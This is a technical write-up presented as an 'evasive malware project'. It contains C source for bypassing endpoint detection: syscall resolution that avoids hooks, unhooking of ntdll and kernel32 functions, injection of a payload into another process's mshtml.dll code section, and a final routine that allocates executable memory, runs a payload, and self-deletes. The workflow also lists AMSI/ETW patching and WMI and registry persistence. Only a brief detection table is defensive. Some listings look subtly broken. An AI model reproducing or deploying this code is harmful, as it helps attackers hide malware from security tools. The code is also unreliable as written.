Advanced Evasive Malware Project: Comprehensive EDR Bypass Techniques

Reda Ouzidane

April 11, 2025

1 Evasion Techniques Overview

Table 1: Implemented Evasion Techniques

Technique	Purpose	Implementation
`Direct Syscalls`	Bypass hooks	Uses syscall instruction directly
`Indirect Syscalls`	Avoid static SSNs	Dynamically extracts syscall numbers
`API Unhooking`	Remove EDR hooks	Restores original function bytes
`Section Hijacking`	Stealthy DLL loading	Overwrites mapped sections

2 Enhanced Implementation

2.1 Direct and Indirect Syscall Integration

```c
typedef struct _SYSCALL_ENTRY {
    DWORD Hash;
    DWORD SSN;
    PVOID Address;
} SYSCALL_ENTRY;

// Dynamically resolve syscall numbers
SYSCALL_ENTRY GetSyscall(DWORD dwHash) {
    SYSCALL_ENTRY entry = {0};
    PVOID pNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdll;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pNtdll + pDos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)
        ((PBYTE)pNtdll + pNt->OptionalHeader.DataDirectory[0].VirtualAddress);

    PDWORD pNames = (PDWORD)((PBYTE)pNtdll + pExport->AddressOfNames);
    PDWORD pFunctions = (PDWORD)((PBYTE)pNtdll + pExport->AddressOfFunctions);
    PWORD pOrdinals = (PWORD)((PBYTE)pNtdll + pExport->AddressOfNameOrdinals);

    for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
        PCHAR pName = (PCHAR)((PBYTE)pNtdll + pNames[i]);
        if (HashStringA(pName) == dwHash) {
            entry.Address = (PVOID)((PBYTE)pNtdll + pFunctions[pOrdinals[i]]);
            entry.SSN = ExtractSSN(entry.Address); // Parse SSN from stub
            break;
        }
    }
    return entry;
}

// Execute with indirect then direct transition
NTSTATUS NtAllocateVirtualMemorySyscall(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect)
{
    SYSCALL_ENTRY entry = GetSyscall(0xA092D8F3); // Hash for NtAllocateVirtualMemory

    __asm {
        mov r10, rcx
        mov eax, entry.SSN
        jmp entry.Address
    }
}
```

Listing 1: Syscall Manager

2.2 API Unhooking Implementation

```
BOOL UnhookAPI(LPCSTR szModule, LPCSTR szFunction) {
    // 1. Get clean copy from disk
    HMODULE hModule = LoadLibraryExA(szModule, NULL, DONT_RESOLVE_DLL_REFERENCES);
    PVOID pCleanFunc = GetProcAddress(hModule, szFunction);

    // 2. Get hooked function in memory
    PVOID pHookedFunc = GetProcAddress(GetModuleHandleA(szModule), szFunction);

    // 3. Calculate function size
    DWORD dwFuncSize = 0;
    PBYTE pByte = (PBYTE)pCleanFunc;
    while (*(PWORD)pByte != 0x05EB) { // Find RET instruction
```

```
        pByte++;
        dwFuncSize++;
    }

    // 4. Restore original bytes
    DWORD dwOldProtect;
    VirtualProtect(pHookedFunc, dwFuncSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    memcpy(pHookedFunc, pCleanFunc, dwFuncSize);
    VirtualProtect(pHookedFunc, dwFuncSize, dwOldProtect, &dwOldProtect);

    FreeLibrary(hModule);
    return TRUE;
}
```

Listing 2: API Unhooking

2.3 Section Hijacking Technique

```
BOOL SectionHijackInject(DWORD dwPid, PBYTE pPayload, SIZE_T szPayload) {
    // 1. Find target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

    // 2. Locate legitimate DLL with RWX section (e.g. mshtml.dll)
    HMODULE hModules[1024];
    DWORD cbNeeded;
    EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded);

    for (DWORD i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
        CHAR szModName[MAX_PATH];
        GetModuleFileNameExA(hProcess, hModules[i], szModName, MAX_PATH);

        if (strstr(szModName, "mshtml.dll")) {
            // 3. Parse PE headers to find .text section
            PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModules[i];
            PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hModules[i] + pDos->e_lfanew);
            PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);

            for (WORD j = 0; j < pNt->FileHeader.NumberOfSections; j++) {
                if (memcmp(pSec->Name, ".text", 5) == 0) {
                    // 4. Overwrite section contents
                    PBYTE pSectionBase = (PBYTE)hModules[i] + pSec->VirtualAddress;
                    SIZE_T szWritten;
                    WriteProcessMemory(hProcess, pSectionBase, pPayload,
                                      min(szPayload, pSec->Misc.VirtualSize),
                                      &szWritten);
                    return TRUE;
                }
                pSec++;
            }
        }
    }
    return FALSE;
}
```

Listing 3: Section Hijacking

3 Exploitation Workflow

3.1 Enhanced Execution Chain

1. **Initialization Phase**
   - Unhook critical APIs (NtReadVirtualMemory, NtWriteVirtualMemory)
   - Patch ETW and AMSI in memory
   - Initialize syscall table with dynamic SSN resolution
2. **Injection Phase**
   - Use Section Hijacking to load payload into legitimate DLL
   - If fails, fallback to indirect syscall memory allocation
   - Execute payload via thread hijacking or APC injection
3. **Persistence Phase**
   - Install via WMI event subscription
   - Create hidden registry entry

4 Defensive Countermeasures

Table 2: Detection Techniques

Technique	**Detection Method**
Direct Syscalls	Monitor for syscall instructions outside ntdll
Indirect Syscalls	Detect runtime SSN extraction
API Unhooking	Checksum verification of critical functions
Section Hijacking	Monitor for section permission changes

5 Complete Integration Example

```c
void ExecutePayload() {
    // 1. Unhook APIs
    UnhookAPI("ntdll.dll", "NtCreateFile");
    UnhookAPI("kernel32.dll", "CreateFileW");

    // 2. Initialize syscall manager
    InitSyscallTable();

    // 3. Attempt section hijack injection
    if (!SectionHijackInject(target_pid, payload, payload_size)) {
        // Fallback to direct syscall allocation
        PVOID pAddress = NULL;
        SIZE_T szSize = payload_size;
        NtAllocateVirtualMemorySyscall(
            GetCurrentProcess(),
            &pAddress,
            0,
            &szSize,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);

        // Copy and execute
        memcpy(pAddress, payload, payload_size);
        ((void(*)())pAddress)();
    }

    // 4. Cleanup
    SelfDeleteWithSyscalls();
}
```

Listing 4: Final Payload Execution